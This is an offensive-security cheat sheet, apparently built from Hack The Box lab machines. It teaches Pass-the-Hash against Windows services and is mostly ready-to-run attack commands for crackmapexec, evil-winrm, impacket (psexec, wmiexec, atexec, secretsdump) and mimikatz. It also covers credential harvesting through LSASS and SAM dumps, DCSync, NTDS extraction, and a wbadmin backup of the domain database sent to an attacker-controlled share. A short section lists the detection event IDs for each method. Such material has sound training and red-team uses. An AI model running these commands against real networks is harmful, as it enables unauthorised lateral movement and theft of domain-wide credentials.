Pass-the-Hash (PTH)
#Overview
Pass-the-Hash is the technique of authenticating to a remote Windows system using only the NTLM hash of a user's password, without ever knowing the plaintext. PTH works because NTLM authentication uses the hash directly in challenge-response calculations. It is effective against any service using NTLM authentication: SMB, WinRM, MSSQL, RDP (Restricted Admin mode), and WMI. The hash does not need to be cracked for PTH to succeed.
#Prerequisites
- NTLM hash of a user with administrative privileges on the target system
- Access to the target service (SMB 445, WinRM 5985, RDP 3389, etc.)
- impacket suite, netexec, evil-winrm, or mimikatz on a compromised host
#When PTH Works vs Doesn't
| Works (NTLM Authentication) | Doesn't Work (Kerberos-Only) |
|---|---|
| SMB (PsExec, SMBExec, WMIExec) | Services requiring SPN tickets |
| WinRM (evil-winrm -H) | IIS with Windows Authentication (Kerberos) |
| RDP (Restricted Admin mode) | Some Azure AD-integrated services |
| MSSQL (Windows auth mode) | Resources across forest trusts (sometimes) |
| Atexec (scheduled tasks via ATSVC) | Service-to-service auth if NTLM disabled |
#Exploitation / Execution
#1. netexec PTH
# Test SMB access with hash
crackmapexec smb <IP> -u <user> -H <NTLM_hash>
crackmapexec smb <IP> -u administrator -H 'd9485863c1e9e05851aa40cbb4ab9dff'
# Run command on all discovered targets
crackmapexec smb <targets.txt> -u <user> -H <hash> -x "whoami"
# Test WinRM access
crackmapexec winrm <IP> -u <user> -H <hash>
# Test MSSQL access
crackmapexec mssql <IP> -u <user> -H <hash>
# Test RDP access
crackmapexec rdp <IP> -u <user> -H <hash>
#2. evil-winrm with Hash
evil-winrm -i <IP> -u <user> -H <NTLM_hash>
evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
#3. impacket-psexec with Hash
Creates a service on the remote system. Requires ADMIN$ share (admin privileges):
impacket-psexec.py <domain>/<user>@<IP> -hashes :<NTLM_hash>
impacket-psexec.py egotistical-bank.local/administrator@10.10.10.175 -hashes d9485863c1e9e05851aa40cbb4ab9dff:d9485863c1e9e05851aa40cbb4ab9dff
The colon before the hash indicates no LM hash: -hashes :<NT_hash>
#4. impacket-wmiexec with Hash
Uses WMI for execution. No service creation, fewer artifacts:
impacket-wmiexec.py <domain>/<user>@<IP> -hashes :<NTLM_hash>
impacket-wmiexec.py -hashes :184fb5e5178480be64824d4cd53b99ee administrator@10.10.10.192
#5. impacket-smbexec with Hash
Semi-interactive shell via SMB named pipes:
impacket-smbexec.py <domain>/<user>@<IP> -hashes :<NTLM_hash>
#6. impacket-atexec with Hash
Executes via scheduled task (ATSVC). No service binary:
impacket-atexec.py <domain>/<user>@<IP> -hashes :<NTLM_hash> "cmd.exe /c whoami"
#7. Mimikatz (from Windows host)
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:administrator /domain:<domain> /ntlm:<NTLM_hash> /run:cmd.exe
# This spawns a new cmd.exe that uses the injected hash for network authentication
#8. PTH Across Trusts
When domains are in a trust relationship, PTH with a hash of a user who is a local admin on a target in the trusting/target domain will work:
impacket-psexec.py <DOMAIN_B>/administrator@<IP_in_DOMAIN_B> -hashes :<NTLM_hash>
The hash must belong to a user with admin privileges on the target machine.
#Extracting Hashes for PTH
#From Windows Target (as Admin)
# LSASS dump
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
# SAM dump
reg save HKLM\SAM sam.hive && reg save HKLM\SYSTEM system.hive
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
# LSASSY (remote, from attacker)
netexec smb <IP> -u <user> -p <pass> -M lsassy
#From Linux Target
# Check for cached hashes
cat /etc/shadow
# If hash format is $6$ (SHA-512), crack with hashcat -m 1800
#NTDS.dit (Domain Controller)
# DCSync
impacket-secretsdump.py <domain>/<user>:'<pass>'@<DC_IP> -just-dc
# From NTDS.dit and SYSTEM hive
impacket-secretsdump.py -ntds ntds.dit -system system.hive LOCAL
# Using wbadmin (if SeBackup privilege)
echo "Y" | wbadmin start backup -backuptarget:\\<LHOST>\smb -include:c:\windows\ntds
# Then extract with secretsdump.py
#9. NetExec PTH Modules
# NetExec PTH modules — comprehensive remote operations
nxc smb <targets> -u user -H NTLM_HASH --sam # Remote SAM dump
nxc smb <targets> -u user -H NTLM_HASH --lsa # LSA secrets dump
nxc smb <targets> -u user -H NTLM_HASH --ntds # NTDS dump (all domain hashes)
nxc smb <targets> -u user -H NTLM_HASH --dpapi # DPAPI keys
nxc smb <targets> -u user -H NTLM_HASH --disks # Disk enumeration
nxc smb <targets> -u user -H NTLM_HASH --sessions # Active sessions
nxc smb <targets> -u user -H NTLM_HASH --loggedon-users # Logged-on users
nxc smb <targets> -u user -H NTLM_HASH --shares # Share enumeration
nxc smb <targets> -u user -H NTLM_HASH --password-policy # Password policy
nxc smb <targets> -u user -H NTLM_HASH -M lsassy # Remote LSASS dump
#10. Interactive SMB File Access with PTH
# Interactive SMB file access with PTH
impacket-smbclient 'domain.local/user@10.10.10.10' -hashes :NTLM_HASH
# Use for: file upload/download, share browsing without needing password
#11. RDP with PTH (Restricted Admin Mode)
# RDP with PTH (requires Restricted Admin mode on target)
xfreerdp /v:10.10.10.10 /u:administrator /pth:aad3b435b51404eeaad3b435b51404ee:NTLM_HASH /dynamic-resolution
# Note: Target must have Restricted Admin enabled: reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0
#LM Hash Format Pitfall
# Impacket -hashes flag format is LM:NT (two parts separated by colon)
# When you only have the NT hash (most common), use a LEADING COLON:
impacket-psexec 'domain.local/user@target' -hashes :NT_HASH_ONLY
# WRONG: -hashes NT_HASH_ONLY (this fails — impacket expects LM:NT format)
# WRONG: -hashes LM_HASH:NT_HASH (if LM is wrong, auth fails)
#PTH vs Kerberos-Only Services
# PTH does not work against Kerberos-only services
# If target requires Kerberos (NTLM disabled), use Overpass-the-Hash instead:
impacket-getTGT domain.local/user -hashes :NTLM_HASH -dc-ip 10.10.10.10
export KRB5CCNAME=user.ccache
impacket-psexec domain.local/user@target -k -no-pass
#Common Pitfalls
- Warning: PTH requires the target user to be a local administrator on the destination machine
- Warning: PsExec creates a named service (random hex name) that triggers antivirus and EDR
- Warning: SMB signing enabled (required) does NOT block PTH, only NTLM relay
- Warning: LM hash is deprecated; always use the NT hash portion (the part after the colon)
- Warning:
-hashesformat isLM:NT-- if you only have NT hash, use:<NT_hash>
#OPSEC Considerations
- Shield: PsExec service creation generates Event ID 7045 on the target
- Shield: WMIExec generates Event ID 4688 (process creation) showing wmiprvse.exe spawning child processes
- Shield: SMBExec generates Event ID 5145 (network share access to ADMIN$/IPC$)
- Shield: All PTH generates Event ID 4624 (Logon Type 3 - Network) with the injected user context
- Shield: LSASS access by mimikatz generates Event ID 4663 (attempt to access LSASS) if enabled
#Post-Exploitation Value
- Immediate command execution on target systems as the privileged user
- Enables credential harvesting on additional systems (LSASS, SAM, DPAPI)
- Allows deployment of persistence mechanisms across the environment
- Chain of PTH across all systems where the user is a local administrator
#Cross-References
#Tool References
#Source Machines
- Blackfield (Hard, AD) - PTH with Backup Operators hash via robocopy and wbadmin
- Sauna (Easy, AD) - PTH with Administrator hash from DCSync via psexec
- Escape (Medium, AD) - PTH with Administrator hash from certipy via WinRM
- Fluffy (Easy, AD) - PTH with winrm_svc shadow credential hash via WinRM
- Return (Easy, AD) - Service manipulation via Server Operators group